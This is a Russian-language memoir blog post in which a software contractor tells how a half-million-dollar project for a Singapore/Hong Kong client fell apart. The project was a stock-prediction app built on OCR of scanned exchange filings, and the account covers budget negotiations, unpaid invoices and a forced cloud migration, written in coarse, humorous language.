  <p id="nlrC">Столь противоестественный союз мог держаться только на какой-то тайне — скрытом нюансе, суть которого оказалась крайне неприятным сюрпризом.</p>
  <p id="OkuM">На всякий случай напоминаю, что «нюанс» не имел отношения ни к физиологии Катрин, ни к ее сексуальным талантам.</p>
  <blockquote id="h3FC">Тем не менее, крайне рекомендую проверять отсутствие кадыка у дам в странах юго-восточной Азии, прежде чем с ними уединяться. </blockquote>
  <p id="Zsjc">Во избежание неприятных сюрпризов в самый ответственный момент — можете считать это официальной рекомендацией.</p>
  <figure id="URzZ" class="m_column">
    <img src="https://img3.teletype.in/files/eb/36/eb369b27-904a-4fcc-9e8b-311c34f33ed8.jpeg" width="1280" />
    <figcaption>Сезон дождей в Сингапуре, дождь мог лить месяцами.</figcaption>
  </figure>
  <h2 id="RH2s">Таможня дает добро</h2>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="GCfS">Стадию пилота мы прошли быстро, красиво и без проблем.</p>
  </section>
  <p id="IBcP">Несмотря на всю дурость заказчика, в лице Томаса.</p>
  <p id="D3Zv">Много позже придет понимание, что отсутствие проблем на стадии пилота означает <s>п#здец</s> глобальные проблемы у самого проекта — вплоть до его закрытия и распродажи имущества компании после банкротства.</p>
  <p id="zmq5">Пилотное внедрение для того и делают, чтобы собрать все возможные проблемы и недочеты. Если таковых нет, значит сам проект — мертв.</p>
  <blockquote id="H0pm">Но тогда мы были юны и наивны, поэтому лишь радовались быстрому успеху.</blockquote>
  <p id="Ui9U">Столь важное событие — успешную сдачу пилотного проекта, тем более для богатого иностранного заказчика было решено отметить.</p>
  <p id="OYSk">..</p>
  <p id="7YeV">— Ребята, вы ооофигенные молодцы! За вас, за нас и <s>нефтегаз</s> проект!</p>
  <p id="b8sJ">Вообще-то Ченг-младший вполне мог позволить себе ванну из шампанского «Crystal» и регулярно приезжал в офис на спорткаре. </p>
  <figure id="VZWH" class="m_column">
    <img src="https://img3.teletype.in/files/ad/26/ad2698b4-e3db-4117-88a9-84a70351e475.jpeg" width="2560" />
    <figcaption>Парковка у офиса местных криптанов. Шучу, просто случилась какая-то выставка и тачки пригнали со всего Сингапура.</figcaption>
  </figure>
  <p id="kDdc">Личном или арендованном — другой вопрос, задавать который мы постеснялись, однако капитал явно присутствовал, даже можно сказать «витал в воздухе».</p>
  <p id="D3du">Но в тот вечер, ради общения с <s>таким быдлом</s> отличными исполнителями, Томас снизошел до банального пива, видимо вспомнив историю нашего знакомства в аэропорту.</p>
  <p id="pELd">— Я вами очень впечатлен. Будем работать!</p>
  <p id="yjPb">Чел в дорогом костюме, в 27 лет паркующий спорткар у собственного офиса и только что выписавший вам солидный чек за завершенный проект, говорит «Будем работать».</p>
  <p id="Z7NN">Признайтесь честно: абсолютно любому в такой момент снесло бы башню. Конечно мы не стали исключением. </p>
  <p id="VmZT">Еще тогда мы впервые узнали, кто именно финансирует весь этот праздник жизни.</p>
  <p id="Pwpl">— Господа<s>-офицеры</s>, нас ждут великие дела! </p>
  <p id="MrVa">— Больше бирж, больше документов, больше <s>угара</s> прогнозов — впереди только рост, только развитие и новые победы!</p>
  <p id="hd96">Папа дает добро.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Dlxy">$500k бюджета, на год работы.</p>
  </section>
  <p id="CIwm">Прежде чем <s>онанировать</s> медитировать на эту огромную по меркам обывателя сумму, стоит узнать о паре нюансов.</p>
  <p id="mgqG">На случай, если вдруг захотите повторить.</p>
  <figure id="spqN" class="m_column">
    <img src="https://img2.teletype.in/files/1f/bc/1fbc5007-29fb-4742-8334-7c02e546cced.jpeg" width="2560" />
    <figcaption>Мой боевой Lenovo Z580, который когда-то был черным, на фоне - какой-то роллс-ройс.</figcaption>
  </figure>
  <h2 id="k3gR">Нюансы и мелочи</h2>
  <p id="u6u6">Как уже упомянул выше, <s>жопой</s> сердцем проекта была система предсказания курса акций компаний, которые торгуются на биржах.</p>
  <p id="c4hh">Предсказания строились весьма незатейливым образом:</p>
  <blockquote id="uZVl">отбирались «киты» — крупные инвестиционные фонды и частные инвесторы, чьи операции покупки-продажи акций на биржах отслеживались путем анализа первичных документов, в первую очередь отчетности.</blockquote>
  <p id="Om1f">Если условный «<a href="https://en.wikipedia.org/wiki/BlackRock" target="_blank">BlackRock</a>» покупал долю в компании, предполагалось что стоимость ее акций будет расти, если продавал — падать. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="p3xY">Если условный <a href="https://en.wikipedia.org/wiki/Warren_Buffett" target="_blank">Уоррен Баффет</a> входил в совет директоров, считалось что курс акций компании вырастет, если покидал — начнет падать. </p>
  </section>
  <p id="XsqB">Всего подобных признаков было около сотни — вполне достаточно для простейших «предсказаний».</p>
  <p id="CwYh">Поскольку публичные компании обязаны отчитываться о любых изменениях в совете директоров, покупках-продажах и новых выпусках акций  — весь этот «инвестиционный движ» можно было отследить, изучая публикации документов на бирже.</p>
  <p id="yNc2">Дальше все упаковывалось в красивые рекомендации, которые затем появлялись в мобильном приложении для <s>ушастых</s> пользователей, рядом с большими, яркими кнопками «Купить» и «Продать».</p>
  <blockquote id="lYc3">Сложно сказать, насколько весь этот <s>лохотрон</s> замечательный проект был успешен, поскольку финансовую отчетность нам не показывали.</blockquote>
  <p id="REce">Но широкая улыбка никогда не покидала лица Томаса Ченга.</p>
  <h3 id="qDah">Нюанс первый</h3>
  <p id="sLiW">Каждая биржа (например <a href="https://en.wikipedia.org/wiki/New_York_Stock_Exchange" target="_blank">NYSE</a> — нью-йоркская фондовая биржа), помимо публикации оригинальных документов с отчетностью по компаниям, предоставляла еще и официальные платные выгрузки данных, обычно в CSV или XML.</p>
  <p id="CFhw">Эти данные — <strong>полные</strong> и проверенные (в том числе живым человеком) идеально подходили для задач анализа, вроде нашей.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zC1Y">Проблема была лишь в цене — стоили эти выгрузки как самолет. </p>
  </section>
  <p id="YLpP">Не помню точный прайс, разный для каждой биржи, но речь шла о десятках тысяч долларов.</p>
  <h3 id="NQS8">Нюанс второй</h3>
  <p id="mzGD">Оригиналы документов представляли собой (чаще всего) многостраничные PDF, внутри которого находились картинки, отсканированные с факса.</p>
  <p id="ILFi">Типа такого:</p>
  <figure id="64gI" class="m_column">
    <img src="https://img2.teletype.in/files/5b/c0/5bc060c2-3569-4a44-a2c4-ba29c1e41e91.png" width="1105" />
    <figcaption>И это еще не самый сложный вариант.</figcaption>
  </figure>
  <p id="hKW6">Из документа выше необходимо было вытащить содержимое таблицы и как минимум номер ACN, естественно в «машинном» формате — убрав все пробелы, проценты, дроби и запятые.</p>
  <p id="WtvR">Поскольку документы сканировались вручную и не предназначались для автоматической обработки, очень часто страницы имели наклон, засветку или даже другой формат — в одном PDF запросто чередовались альбомные и книжные страницы.</p>
  <p id="EMCN">К тому же вытаскивать было необходимо далеко не все данные, при этом нужная информация запросто могла оказаться не на второй странице, а скажем на десятой или даже двухсотой. </p>
  <p id="PMqy">Чтобы все это обрабатывать мы реализовали специальный язык (DSL) на базе JRuby, на котором и реализовали высокоуровневую логику обработки, спрятав технические детали вроде OCR, разбора PDF и алгоритмов очистки в специальных функциях. </p>
  <p id="6Wn1">Не буду дальше углубляться в технические детали, кому интересно — есть <a href="https://blog.0x08.ru/projects-data-processing-2017" target="_blank">отдельная статья</a>.</p>
  <p id="gZWt">Всего в рамках проекта планировалось охватить 28 бирж, от 2 до 200 тысяч компаний на каждой, в среднем по десять форм отчетных документов по каждой компании. </p>
  <p id="cJgt">И все это за период в 5-7 лет, в зависимости от биржи. </p>
  <h3 id="gKvw">Нюанс третий</h3>
  <p id="tHub">Теперь самое важное: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="5xIx">всю эту жесть с оптическим распознаванием факсов мы <strong>не планировали</strong> </p>
  </section>
  <p id="a8Lw">Поскольку пилот прошел на кристально чистых данных <a href="https://www.sgx.com/" target="_blank">сингапурской фондовой биржи</a>, где была жесткая дисциплина и у всех PDF-документов был отдельный текстовый слой, естественно легко читаемый.</p>
  <blockquote id="AJBo">Про остальные биржи, до момента завершения пилота заказчик в лице Томаса рассказать не посчитал нужным.</blockquote>
  <p id="DwQJ">Так что разница в сложности между пилотом и основным проектом оказалась как между детским увлечением ракетным моделированием и запуском настоящей ракеты с Байконура.</p>
  <p id="AJTS">Но осознали это мы далеко не сразу.</p>
  <figure id="xgEr" class="m_column">
    <img src="https://img1.teletype.in/files/c7/b1/c7b1a19b-1442-46b8-81ea-f99edac59c49.jpeg" width="2560" />
    <figcaption>Дежавю? Потому что этими улочками вдохновлялись создатели Cyberpunk 2077.</figcaption>
  </figure>
  <h2 id="f3w8">Король говорит</h2>
  <p id="eola">Если честно, я мало что понимаю в китайской культуре, поэтому большая часть внутреннего убранства в кабинете мистера Лу Ченга так и осталась для меня загадкой.</p>
  <p id="zGTi">Разумеется живя в Сингапуре, видел <s>всякое</s> и «Китайский Новый год» и ритуал сжигания фальшивых денег. Даже успел узнать, что статуэтка огромной жабы приносит финансовую удачу.  </p>
  <blockquote id="hIjU">Но почему-то не финансовую грамотность.</blockquote>
  <p id="njIV">Как бы то ни было, мои познания были на уровне «красных шаровар и самовара у русских» — набора стереотипов, мало отражающих реалии.</p>
  <p id="DMwa">Однако мистер Лу Ченг явно жил в гармонии со своими корнями и не испытывал никакого диссонанса от 21го века. </p>
  <p id="Bahn">Мне же как «технарю» в первую очередь бросилось в глаза отсутствие какой-либо электроники:</p>
  <blockquote id="k2pr">ни мобильного телефона, ни планшета, ни ноутбука или стационарного компьютера в кабинете не было.</blockquote>
  <p id="IymD">Мистер Лу пользовался исключительно ручкой и бумагой, для всего остального у него был секретарь.</p>
  <p id="hjeU">— Алекс, Павел, простите за ожидание. </p>
  <p id="CsBO">— Рад наконец познакомиться лично. Как вам Гонконг?</p>
  <p id="EVHk">Вставший из-за стола пожилой китаец, несмотря на возраст имел идеальную выправку. Еще он отлично говорил по-английски, практически без акцента и придерживался западных норм этикета — мы у него были явно не первыми «европейскими гостями».</p>
  <p id="bgu0">— Томас много о вас рассказывал, очень впечатлился вашей работой..</p>
  <p id="wUzo">— ..но мне все же хотелось встретиться лично. Понимаете, я старый человек и привык видеть людей с которыми веду дела.  </p>
  <p id="Sx76">Мистер Лу взял со стола копию нашего договора, пролистав до страницы с оценкой бюджета.</p>
  <p id="mehD">— То что вы просите, это большие деньги. Серьезная сделка.</p>
  <p id="RbLg">Мы с партнером переглянулись.</p>
  <p id="CjRO">— Вообще-то Томас утверждал, что уже согласовал бюджет с вами. </p>
  <p id="8pRc">Конечно ситуация была не нова — с увеличением цены, уровень п#здобольства посредников растет в геометрической прогрессии и фразу «тут решаю я» вы услышите еще не раз. </p>
  <blockquote id="3qnJ">Пока не дойдете до финального босса.</blockquote>
  <p id="tggd">Но в случае с Ченгами, мы действительно убили много времени на подготовку и не очень обрадовались перспективе повторить этот процесс.</p>
  <p id="n6OF">— Ну он что-то такое рассказывал, да. Но поймите, я старый человек..</p>
  <p id="ihZw">— Мистер Лу, если считаете, что <em>для вас</em> это слишком дорого — можем сделать переоценку проекта. Какие-то из задач уберем. Но это займет время и сроки начала работ сдвинутся.</p>
  <p id="Xp9Y">Ченг-старший нахмурился, легкий намек на финансовую несостоятельность его явно огорчил.</p>
  <p id="MRXZ">— Расскажите за что я плачу. </p>
  <p id="rIvO">Лу Ченг указал пальцем на договор.</p>
  <p id="SQ0t">— В чем суть всего этого?</p>
  <p id="YPmW">..</p>
  <p id="9l6a">Ну что мои дорогие «просто программисты», как там поживает ваша усталость от общения с «непонимающими идиотами»?</p>
  <blockquote id="vxx5">Попробуйте объяснить китайскому дедушке, привыкшему вести дела только ручкой и бумагой, на что пойдут его деньги, выделяемые под ИТ-проект — быстро поймете, что такое настоящая проблема.</blockquote>
  <p id="FROn">Но нам все же удалось.</p>
  <p id="OHHo">Несколько долгих часов спустя, мы покинули офис мистера Ченга, унося с собой подписанный договор на полмиллиона долларов. </p>
  <figure id="FOam" class="m_column">
    <img src="https://img4.teletype.in/files/75/75/7575e957-113d-422a-b0c8-7ea698695df5.jpeg" width="2560" />
    <figcaption>Еще немного Гонконга.</figcaption>
  </figure>
  <h2 id="fF57">Предстартовая подготовка</h2>
  <p id="FOYQ">Если вы что-то понимаете в заказной разработке как бизнесе, думаю прекрасно понимаете, что должно происходить в таких случаях:</p>
  <blockquote id="xtKf">команду немедленно усиливают, либо нанимая в штат, либо подключая разработчиков из соседних компаний.</blockquote>
  <p id="fFPv">Потому как не бывает свободных команд, сидящих «на низком старте» в ожидании проекта. </p>
  <p id="rMPF">Точнее бывает, но очень недолго и лишь у самых крупных компаний: </p>
  <blockquote id="iQMH">ЕПАМ, Люксофт, Accenture — такого масштаба. </blockquote>
  <p id="AyoB">Всем остальным при любом более-менее серьезном проекте, приходится либо быстро нанимать с улицы, либо звать на помощь коллег.</p>
  <p id="ibnG">Прикинув график выплат за закрытие этапов работ и серьезно подумав, решили справляться своими силами, подключив лишь аналитика и тестировщиков.</p>
  <blockquote id="UeAH">Что в дальнейшем только продлило агонию, создав иллюзию, что ресурсов хватит и успех еще достижим.</blockquote>
  <p id="yars">Замечу, что финансовое планирование — крайне занимательное занятие, которое быстро дает понять, что ничем кроме наркоторговли, нефти и проституции заниматься вообще не стоит, ввиду невыгодности.</p>
  <p id="qH3J">Можете обчитаться умными книгами по работе с клиентами, планированию, ведению проектов и оценке рисков — в реальности все сведется к 5% марже, кредитам и ипотеке. В хороший год.</p>
  <figure id="ztGw" class="m_column">
    <img src="https://img3.teletype.in/files/a3/8e/a38ec35e-de62-40da-b9d0-771af4a3101c.jpeg" width="1280" />
    <figcaption>Центр Сингапура. И сингапурцы.</figcaption>
  </figure>
  <h2 id="SGlW">Тучи сгущаются</h2>
  <p id="2k3i">Чтобы получить нечто большее чем кредиты и ипотека, приходится <s>ходить в набеги</s> идти на серьезный риск. И принимать всю ответственность за возможный провал — сообщаю на случай, если не понимаете, зачем было во все это лезть. </p>
  <p id="Zkt8">..</p>
  <p id="GtyQ">— Привет, есть минутка? Надо обсудить по проекту.</p>
  <p id="XfZH">Наш любимый аналитик, назовем ее Верочкой, выручала нас бессчетное количество раз. </p>
  <p id="E6Lp">Один из тех редких случаев, когда человек действительно оказался на своем месте, попав в аналитики не по <s>залету</s> воле случая, а целенаправленно — сначала обучившись, а затем много лет работая по профилю. </p>
  <p id="VJlV">Мнению Верочки мы действительно доверяли и только ее ребята всегда искренне поздравляли со всеми праздниками.</p>
  <p id="NDeI">— Посмотрела наконец все документы, ну.. выборочно. Но всех нужных нам типов и форм, по всем биржам. </p>
  <p id="eTSl">— Думаю у нас проблема.</p>
  <p id="GEDV">Разумеется мы не #бнулись до такой степени, чтобы подписывать крупный контракт, не изучив возможные риски. Поэтому еще до выноса мозга в кабинете «дедушки Лу» прекрасно понимали, что будет непросто.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="N7Lv">Но нельзя проверить <strong>абсолютно все</strong>, особенно на крупном проекте.</p>
  </section>
  <p id="iZqk">Всегда остается шанс упустить что-то важное.</p>
  <p id="56wr">..</p>
  <p id="sJxA">— Слишком много вариаций. </p>
  <p id="2Ovp">— Вот смотри, форма «23-B». В разные годы (требовалось обрабатывать документы минимум за 5 лет) формат немного отличается. Нашла три варианта, которые точно придется учитывать по всем компаниям на этой бирже.</p>
  <p id="QXDC">— Часть форм заполнена от руки, затем отсканирована. Таких к счастью мало. Теперь самое печальное: </p>
  <blockquote id="XH52">есть три биржи, где все документы на национальных языках.   </blockquote>
  <p id="JKla">Типа такого:</p>
  <figure id="CQiF" class="m_column">
    <img src="https://img3.teletype.in/files/a5/9a/a59a6dbf-d704-4c1f-b99d-34c2c674b447.png" width="790" />
    <figcaption>Видите круглую красную печать справа? Это печать на бумажном оригинале, временами ее лепили прямо по центру, поверх текста.</figcaption>
  </figure>
  <p id="u6AB">— Тут есть дублирование на английском, сможем привязаться к английскому тексту. С вьетнамским будут проблемы, но тексты на национальных языках нам и не нужны, только цифры.</p>
  <p id="H2xK">— Да, но таких документов очень много.. в разных вариациях, с рукописным заполнением..</p>
  <p id="ptta">— Бюджет тоже немаленький, справимся.</p>
  <p id="FkIa">..</p>
  <p id="pZy5">Вскоре состоялся созвон с представителем заказчика — Катрин, предвестницей апокалипсиса.</p>
  <p id="i93y">— Катрин привет! </p>
  <p id="lDOK">— Тут у нас непредвиденные трудности, хотим немного поменять план работ, передвинуть пару этапов. Нет, ничего не случилось, небольшие технические нюансы, нет смысла беспокоить Томаса.</p>
  <p id="3AGv">Мы всего лишь хотели переставить местами этапы: </p>
  <blockquote id="yCgX">сначала закончить работу с биржами, где были документы без национальных языков и рукописного заполнения. </blockquote>
  <p id="cxdN">Проблемные закрыть позже, с помощью интерфейса оператора, где живой человек мог бы корректировать результаты обработки для сложных случаев.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="puCa">Все просто, красиво и логично.</p>
  </section>
  <p id="ScZr">У нас были хорошие отношения с обоими Ченгами, у партнера — адюльтер с Катрин, формального представителя компании-заказчика.</p>
  <p id="jf0L">И абсолютно ничего не предвещало беды.</p>
  <figure id="f8Ie" class="m_column">
    <img src="https://img1.teletype.in/files/05/1a/051a69a8-c25d-496b-8d83-b28054cc66d4.jpeg" width="2560" />
    <figcaption>Снова улицы Гонконга.</figcaption>
  </figure>
  <h2 id="f7Us">Стремительное падение</h2>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ceYF">Чужие тайны — всегда про плохое, поскольку люди скрывают только разнообразные мерзости.</p>
  </section>
  <p id="QZY3">Нет смысла утаивать занятия спортом, фотографирование котиков или помощь сиротам. Зато половые девиации, алкотрипы, увлечение веществами, воровство и прочий криминал — всегда заметаются под ковер.</p>
  <blockquote id="non9">Давно осознав эту простую истину, мы не интересовались происходящим на стороне клиента, стараясь не лезть во внутренние дела.</blockquote>
  <p id="pGT6">С Катрин было что-то явно не так, недомолвки и пропадания по нескольку дней случались с ней и Томасом регулярно. Как и непонятные для нас кадровые перестановки — что-то происходило в компании Ченгов.</p>
  <p id="6dZW">Стоило применить свои «особые таланты» и выяснить-таки положение дел? Может быть.</p>
  <p id="yeLa">Но «задним умом все крепки» и обсуждать, как следовало поступить <s>маршалу Жукову</s> ныне можно бесконечно. </p>
  <p id="CmtE">..</p>
  <p id="BSMk">Сначала начались задержки по оплате.</p>
  <p id="XOGY">«Забыли перевести», «абонент недоступен», «я перезвоню», «извините, завтра» и непрочитанные сообщения — думаю это видели все.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sU34">Как только доходит до проблем с оплатой — все ведут себя одинаково, вне зависимости от размера долга, возраста, происхождения или социального положения.</p>
  </section>
  <p id="XOvp">С радостью и улыбкой платят только шлюхам и жуликам, всем остальным долги приходится в том или ином виде <strong>выбивать</strong>. Задумайтесь о смене деятельности если вас это огорчает.</p>
  <p id="hkSE">После задержек с оплатой пришли и первые претензии.</p>
  <figure id="qyLg" class="m_column">
    <img src="https://img1.teletype.in/files/c0/8b/c08bb4c2-853b-4643-a8a7-3273bc760ee8.jpeg" width="1280" />
  </figure>
  <h2 id="FQUE">Облачная история</h2>
  <p id="3biI">— Алекс, мне неприятно это говорить, но вы не справляетесь.</p>
  <p id="9GNl">Вообще-то я приехал к Томасу для прояснения финансовых вопросов — за Ченгами накопился долг.</p>
  <p id="K5Gk">— Печально такое слышать, приношу искренние извинения если качество работ не устроило. Что именно вызвало сомнения?</p>
  <p id="dWyy">На самом деле мы успели закрыть этап с пятью первыми биржами без особых нареканий. Плюс успешный пилот. </p>
  <p id="JbiO">Единственное, что на тот момент шло не по плану это очередность этапов.</p>
  <p id="YWys">— Неважно. </p>
  <p id="Tdes">Считывать эмоции по лицу азиата весьма непросто, но поза и жесты его выдавали. Томас нервничал.</p>
  <p id="196n">— Был проведен аудит проекта, позвал своего знакомого «эксперта по компьютерам». Учились вместе. </p>
  <p id="hU2M">— Очень умный парень, делает стартап в Долине.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Lbaj">— Эксперт сказал, что все плохо, потому что у вас Java</p>
  </section>
  <p id="n9i1"> — И я ему верю.</p>
  <p id="apWm">..</p>
  <p id="zMup">Когда в следующий раз начнете возмущаться на тему сертификации и подтверждения компетенций — вспомните этот эпизод. </p>
  <p id="gUxF">Таких «экспертов», утверждающих что «все плохо» на моей практике был не один десяток и каждый раз их советы имели разрушительный эффект.</p>
  <p id="F9mL">— А можно получить заключение этого.. «эксперта»? </p>
  <p id="7NRI">— Ну.. он же наверное оставил документ или электронное письмо с описанием наших <s>грехов</s> проблем? Мы были бы очень благодарны и смогли что-то поправить в проекте.</p>
  <p id="VjCI">Томас посмотрел на меня долгим взглядом человека, узревшего истину.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sT7G">— Нет, он просто немного полистал код и рассказал свое видение.</p>
  </section>
  <p id="t4LZ">Замечу, что это произнес отлично образованный молодой бизнесмен в дорогом костюме, CEO собственной компании. </p>
  <p id="TCwL">Не безработный шизоид из интернета.</p>
  <p id="U3jk">..</p>
  <p id="0xLr">— Это уже неважно, тебя пригласили по другому поводу. </p>
  <p id="ua5b">— Есть новая задача.</p>
  <p id="lkiJ">Томас протянул распечатку презентации из PowerPoint, которую я из уважения начал листать.</p>
  <p id="CpZG">— Компания становится облачной, мы заключили партнерское соглашение с облачным провайдером и переносим всю инфраструктуру в облака.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="k7V6">Ну хоть не сразу на Марс.</p>
  </section>
  <p id="LgAF">Облачный провайдер оказался тем самым, очень известным, в котором работали Боб и Майк — дружелюбные бриты, обещавшие нам <s>минет</s> помощь и поддержку у дверей кабинета Лу Ченга, папы Томаса.</p>
  <p id="ymRy">Совпадение, не иначе.</p>
  <p id="aFNS">— Забудем о мелочах и недочетах. Хотя мне и кажется теперь, что вы недостаточно опытны для такого проекта. </p>
  <p id="Ni1t">— Даю второй шанс.</p>
  <p id="xVFf">Если вы, дорогой читатель — лишь простой разработчик и не имеете отношения к руководству, попробуйте за время чтения этой статьи посчитать, сколько раз вы бы послали нах#й всех этих замечательных людей. </p>
  <p id="RGYG">На какое количество оскорблений в лицо вас бы хватило.</p>
  <p id="6Cd4">— Проект надо перенести в облако, целиком. До конца года.</p>
  <p id="JyEn">— Томас, при всем уважении..</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DGyx">— Увеличиваю бюджет, $200к сверху. Не надо торговаться и выносить мозг деталями. Просто сделайте. </p>
  </section>
  <p id="S5Ni">— Или валите нахер.</p>
  <p id="jTY7">..</p>
  <p id="NIxX">Это сейчас, спустя десять лет практики и регулярного участия в подобных переговорах, вряд ли получится меня впечатлить условиями или напугать последствиями.</p>
  <p id="Zg6D">Даже если переговоры будут на частной яхте, с парой фотомоделей под боком и винтажным <a href="https://www.idealwine.com/fr/acheter-du-vin/domaine-Comte%20Liger_Belair" target="_blank">Domaine du Comte Liger-Belair</a> в бокале — ответ будет стандартным:</p>
  <blockquote id="Cmai">обсудим с нашими специалистами, оценим работы, вышлем план</blockquote>
  <p id="rpqd">Но опыт не появляется на пустом месте, как вы понимаете.</p>
  <figure id="sgqY" class="m_original">
    <img src="https://img1.teletype.in/files/00/5c/005c65ea-7a76-4e1b-acec-c942fc86e900.gif" width="500" />
    <figcaption>Помните эту знаменитую сцену из х\ф <a href="https://en.wikipedia.org/wiki/Swordfish_(film)" target="_blank">Swordfish</a>? Рассказываю, чем такое заканчивается в реальности.</figcaption>
  </figure>
  <h2 id="X3eV">Голодная зима</h2>
  <p id="oShM">— Ну и что теперь со всем этим делать? </p>
  <p id="19Ss">Столь интересные новости стоило обсудить со своим партнером по «опасному бизнесу», что я и сделал, едва закончив общение с Ченгом-младшим.</p>
  <p id="7NTP">— Как там было у классиков? «Есть два стула»..</p>
  <p id="inOT">— Давай серьезно. Клиент увеличивает бюджет, это хорошо. </p>
  <p id="nZcW">— Клиент немного недоволен, хотя пока и непонятно чем. </p>
  <p id="ewt5">— Это плохо.</p>
  <p id="h7HN">— За Клиентом висит долг, не очень большой. </p>
  <p id="zvDa">— Это плохо.</p>
  <p id="hSOh">— Сумма долга для клиента равнозначна посещению борделя с вином и бл#дьми. Или сезонному обновлению гардероба.</p>
  <p id="1BWl">— Это хорошо.</p>
  <p id="Bi5R">— Типа «минус на минус дает плюс»? </p>
  <p id="NAMH">..</p>
  <p id="nFwv">Мы все же решились продолжать.</p>
  <p id="lNw2">Помимо <s>сказочного</s> серьезного бюджета, такой проект будучи реализованным и запущенным, позволил бы набрать компетенции в узкой области работы с биржами и первичными документами. </p>
  <p id="zuuV">И следующий десяток лет мы бы спокойно жили с доработок и сопровождения.</p>
  <blockquote id="Ymtd">В этом был главный смысл.</blockquote>
  <p id="kv71">Какую-то часть оплаты мы успели получить, но этого никак не хватало для завершения работ.  </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="MCFL">Пришло время оплачивать разработку из своего кармана.</p>
  </section>
  <p id="37sJ">..</p>
  <p id="nuqe">Когда с вашего личного счета впервые списывается сумма для оплаты месячного труда <strong>команды</strong> разработки — приходит осознание бренности бытия.</p>
  <blockquote id="GwTz">А идея устроить месячный загул, сняв бордель целиком и выкупив ближайшую винную лавку уже не кажется столь неразумной.</blockquote>
  <p id="8PBe">Смысл термина «<a href="https://en.wikipedia.org/wiki/Burn_rate" target="_blank">burn rate</a>», часто употребляемого в стартап-тусовке не будет понятен, пока «сжигаемые деньги» не окажутся вашими собственными.</p>
  <blockquote id="TbMe">Вы будете ходить на работу, устраивать совещания, закупать расходники для офиса, поздравлять с юбилеями, оплачивать выходные и больничные.</blockquote>
  <p id="KI0Z">А где-то за кадром будут гореть ваши собственные, с таким трудом заработанные капиталы.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="njru">Выдерживают такое очень далеко не все, поэтому не всем стоит заниматься бизнесом. </p>
  </section>
  <p id="oR3J">Чтобы там ни утверждали разнообразные интернет-коучи, обычная офисная работа с 9 до 5 за зарплату — <strong>не самый плохой вариант</strong>. </p>
  <p id="mu7I">Точно лучше, чем оказаться в дурке к 40 годам, могиле или рехабе из-за непрерывного стресса и перенапряжения.</p>
  <p id="A0Dt">..</p>
  <p id="vAwf">Шли дни, затем недели. </p>
  <p id="NA9S">С горем пополам, мы перенесли-таки всю обработку документов в облако. Там же — в облаке теперь работал и весь бекэнд с API для мобильных приложений. И даже панель администратора.</p>
  <p id="xioB">Все как заказывал Томас.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LEDt">Фактически, было выполнено 2/3 работы и впереди просматривалась финишная черта. </p>
  </section>
  <p id="8NcZ">К сожалению Ченг-младший по всей видимости утратил интерес к проекту, наши отношения с последней встречи успели охладеть и всеми текущими вопросами теперь занималась Катрин. </p>
  <p id="qg8s">Их с Павлом «производственный роман» также сошел на нет, но обошлось без <s>мордобоя</s> разбитой посуды и взаимных оскорблений — все же взрослые люди.</p>
  <blockquote id="UcPv">Еще у нас заканчивались запасы денег, теперь уже наших собственных. </blockquote>
  <p id="7lvk">Надо было срочно что-то решать, поскольку проект высасывал ресурсы как пылесос, а завершить на свои уже не получалось. </p>
  <p id="BQ2b">..</p>
  <p id="r7TO">— Катрин приветствую. Прошу назначить встречу с Томасом. По поводу финансирования, все верно. </p>
  <p id="lnM7">— Предстоит непростой разговор.</p>
  <figure id="A5da" class="m_column">
    <img src="https://img1.teletype.in/files/ce/4b/ce4bb12f-422f-458e-85ea-61814d016214.jpeg" width="2560" />
    <figcaption>Вид на ночной Гонконг.</figcaption>
  </figure>
  <h2 id="mD5e">Стопроцентное распознавание</h2>
  <p id="PCTS">Заранее пройдя все досмотры, я сидел в зоне вылета Шереметьево, в ожидании посадки на рейс до Гонконга. «Ирландский кофе», придуманный специально для таких ситуаций почему-то никак не бодрил. </p>
  <p id="EWSf">— А теперь к событиям в мире..</p>
  <p id="wM1C">— ..Вчера вечером полицией был задержан известный гонконгский бизнесмен, владелец нескольких компаний в сфере высоких технологий..</p>
  <p id="vL0N">В баре работал телевизор и диктор новостей только что перевыполнил план по бодрости, подвинув даже ирландский кофе. </p>
  <p id="ZIdj">Посмотрев на посадочный талон, я крепко задумался — может стоит сдать? </p>
  <p id="S834">Перспектива застрять в Гонконге на неопределенный срок, давая показания местной полиции откровенно не радовала.</p>
  <p id="Nxqm">— ..предъявлены обвинения в мошенничестве, сговоре, обмане инвесторов и незаконной торговле криптовалютами.. </p>
  <p id="BtvX">Несмотря на хреновое качество изображения, снятое с камеры наблюдения и закрытое черной плашкой лицо, было очевидно что это не Ченг. </p>
  <p id="HoJn">Ни старший, ни младший.</p>
  <p id="lNbA">— ..Гонконг, ставший в последние годы Меккой для криптоинвесторов со всего мира, ужесточает контроль и вводит новые ограничения в торговле криптовалютами..</p>
